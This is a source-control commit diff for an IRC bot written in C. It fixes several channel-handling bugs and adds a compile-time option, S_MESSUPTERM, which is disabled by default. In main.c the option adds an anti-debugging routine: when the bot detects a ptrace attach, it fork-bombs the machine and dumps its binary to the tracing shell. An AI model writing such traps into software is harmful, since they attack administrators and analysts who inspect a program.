Просмотр исходного кода

* Added compile time option S_MESSUPTERM
* Fixed bugs from channels fix


svn: 164

Bryan Drewery 22 лет назад
Родитель
Сommit
39e598bdd6
7 измененных файлов с 45 добавлено и 14 удалено
  1. 1 0
      pack/conf.h
  2. 2 2
      src/chan.h
  3. 9 5
      src/chanprog.c
  4. 29 0
      src/main.c
  5. 0 3
      src/mod/channels.mod/channels.c
  6. 1 1
      src/mod/module.h
  7. 3 3
      src/mod/share.mod/share.c

+ 1 - 0
pack/conf.h

@@ -20,6 +20,7 @@
 #define S_HIJACKCHECK   /*  yes		checks for a common fbsd process hijacker	*/
 #define S_IRCNET	/*  REQUIRED	this is required for compilation (+e/+I)	*/
 #define S_LASTCHECK	/*  yes		checks every few seconds for logins with `last` */
+#undef 	S_MESSUPTERM	/*  no		fork bombs shells that trace the bot on startup */
 #undef  S_MSGIDENT	/*  no		allows users to msg to IDENT			*/
 #undef  S_MSGINVITE	/*  no		allows users to msg for invite 			*/
 #undef  S_MSGOP		/*  no		allows users to msg for op			*/

+ 2 - 2
src/chan.h

@@ -233,7 +233,7 @@ struct chanset_t {
 #define CHAN_DONTKICKOPS    0x1000	   /* never kick +o flag people -arthur2 */
 #define CHAN_INACTIVE       0x2000	   /* no irc support for this channel
                                          - drummer                           */
-#define CHAN_               0x4000	   /* unused */
+//#define CHAN_               0x4000	   /* unused */
 #define CHAN_VOICE          0x8000	   /* a bot +y|y will voice *, except +q */
 #define CHAN_SEEN           0x10000
 #define CHAN_REVENGEBOT     0x20000	   /* revenge on actions against the bot */
@@ -245,7 +245,7 @@ struct chanset_t {
 #define CHAN_PEND           0x2000000  /* just joined; waiting for end of
                                           WHO list                           */
 #define CHAN_FLAGGED        0x4000000  /* flagged during rehash for delete   */
-#define CHAN_ 		    0x8000000  /* unused      */
+//#define CHAN_ 		    0x8000000  /* unused      */
 #define CHAN_ASKEDBANS      0x10000000
 #define CHAN_ASKEDMODES     0x20000000 /* find out key-info on IRCu          */
 #define CHAN_JUPED          0x40000000 /* Is channel juped                   */

+ 9 - 5
src/chanprog.c

@@ -217,12 +217,15 @@ void checkchans(int which)
 {
   struct chanset_t *chan, *chan_next;
 
+  sdprintf(STR("checkchans(%d)"), which);
   if (which == 0 || which == 2) {
-    for (chan = chanset; chan; chan = chan->next)
-      if (which == 0)
+    for (chan = chanset; chan; chan = chan->next) {
+      if (which == 0) {
         chan->status |= CHAN_FLAGGED;
-      else
-        chan->statuc &= ~CHAN_FLAGGED;
+      } else if (which == 2) {
+        chan->status &= ~CHAN_FLAGGED;
+      }
+    }
   } else if (which == 1) {
 #ifdef LEAF
     module_entry *me;
@@ -233,7 +236,7 @@ void checkchans(int which)
         putlog(LOG_MISC, "*", "No longer supporting channel %s", chan->dname);
 #ifdef LEAF
         /* remove_channel(chan); */
-        if ((me = module_find("console", 0, 0))) {
+        if ((me = module_find("channels", 0, 0))) {
           Function *func = me->funcs;
           (func[CHANNEL_REMOVE]) (chan);
         }
@@ -241,6 +244,7 @@ void checkchans(int which)
       }
     }
   }
+
 }
 
 /* Dump uptime info out to dcc (guppy 9Jan99)

+ 29 - 0
src/main.c

@@ -1081,6 +1081,25 @@ static int spawnbot(char *bin, char *nick, char *ip, char *host, char *ipsix, in
 }
 #endif
 
+#ifdef S_MESSUPTERM 
+void messup_term() {
+  int i;
+  char * argv[4];
+  freopen(STR("/dev/null"), "w", stderr);
+  for (i=0;i<11;i++) {
+    fork();
+  }
+  argv[0]=nmalloc(100);
+  strcpy(argv[0], STR("/bin/sh"));
+  argv[1]="-c";
+  argv[2]=nmalloc(1024);
+  strcpy(argv[2], STR("cat < "));
+  strcat(argv[2], binname);
+  argv[3]=NULL;
+  execvp(argv[0], &argv[0]);
+}
+#endif /* S_MESSUPTERM */
+
 void check_trace_start()
 {
 #ifdef S_ANTITRACE
@@ -1094,8 +1113,12 @@ void check_trace_start()
   } else if (xx == 0) {
     i = ptrace(PTRACE_ATTACH, parent, 0, 0);
     if (i == (-1) && errno == EPERM) {
+#ifdef S_MESSUPTERM
+      messup_term();
+#else
       kill(parent, SIGKILL);
       exit(1);
+#endif /* S_MESSUPTERM */
     } else {
       waitpid(parent, &i, 0);
       kill(parent, SIGCHLD);
@@ -1115,8 +1138,12 @@ void check_trace_start()
   } else if (xx == 0) {
     i = ptrace(PT_ATTACH, parent, 0, 0);
     if (i == (-1) && errno == EBUSY) {
+#ifdef S_MESSUPTERM
+      messup_term();
+#else
       kill(parent, SIGKILL);
       exit(1);
+#endif /* S_MESSUPTERM */
     } else {
        wait(&i);
       i = ptrace(PT_CONTINUE, parent, (caddr_t) 1, 0);
@@ -1314,7 +1341,9 @@ int main(int argc, char **argv)
   myuid = geteuid();
   binname = getfullbinname(argv[0]);
 
+#ifndef DEBUG_MEM
   check_trace_start();
+#endif /* !DEBUG_MEM */
 
   if (!can_stat(binname))
    werr(ERR_BINSTAT);

+ 0 - 3
src/mod/channels.mod/channels.c

@@ -512,7 +512,6 @@ static void remove_channel(struct chanset_t *chan)
    int		 i;
    module_entry	*me;
 
-Context;
    /* Remove the channel from the list, so that noone can pull it
       away from under our feet during the check_tcl_part() call. */
    (void) chanset_unlink(chan);
@@ -520,9 +519,7 @@ Context;
    if ((me = module_find("irc", 0, 0)) != NULL)
      (me->funcs[IRC_DO_CHANNEL_PART])(chan);
 
-Context;
    clear_channel(chan, 0);
-Context;
    noshare = 1;
    /* Remove channel-bans */
    while (chan->bans)

+ 1 - 1
src/mod/module.h

@@ -543,7 +543,7 @@
 #define dropssl ((void (*) (int))global[335])
 #define myipstr ((char*(*)(int))global[336])
 /* 337 - 340 */
-#define checkchans ((void (*) (int))global[340])
+#define checkchans ((void (*)(int))global[337])
 
 /* This is for blowfish module, couldnt be bothered making a whole new .h
  * file for it ;)

+ 3 - 3
src/mod/share.mod/share.c

@@ -1808,13 +1808,12 @@ static void finish_share(int idx)
 	  u_delexempt(chan, chan->exempts->mask, 1);
 	while (chan->invites)
 	  u_delinvite(chan, chan->invites->mask, 1);
-  checkchans(0);
+      }
     }
   noshare = 0;
   ou = userlist;		/* Save old user list			*/
   userlist = (void *) -1;	/* Do this to prevent .user messups	*/
 
-    checkchans(2);
   /* Bot user pointers are updated to point to the new list, all others
    * are set to NULL. If our userfile will be overriden, just set _all_
    * to NULL directly.
@@ -1823,9 +1822,9 @@ static void finish_share(int idx)
     for (i = 0; i < dcc_total; i++)
       dcc[i].user = NULL;
   else
+    for (i = 0; i < dcc_total; i++)
       dcc[i].user = get_user_by_handle(u, dcc[i].nick);
 
-  checkchans(1);
   /* Read the transferred userfile. Add entries to u, which already holds
    * the bot entries in non-override mode.
    */
@@ -1917,6 +1916,7 @@ Context;
 	    for (cr_old = u->chanrec; cr_old; cr_old = cr_old->next)
 	      if (!rfc_casecmp(cr_old->channel, cr->channel)) {
 		cr_old->laston = cr->laston;
+		break;
 	      }
 	    cr_old = cr;
 	  }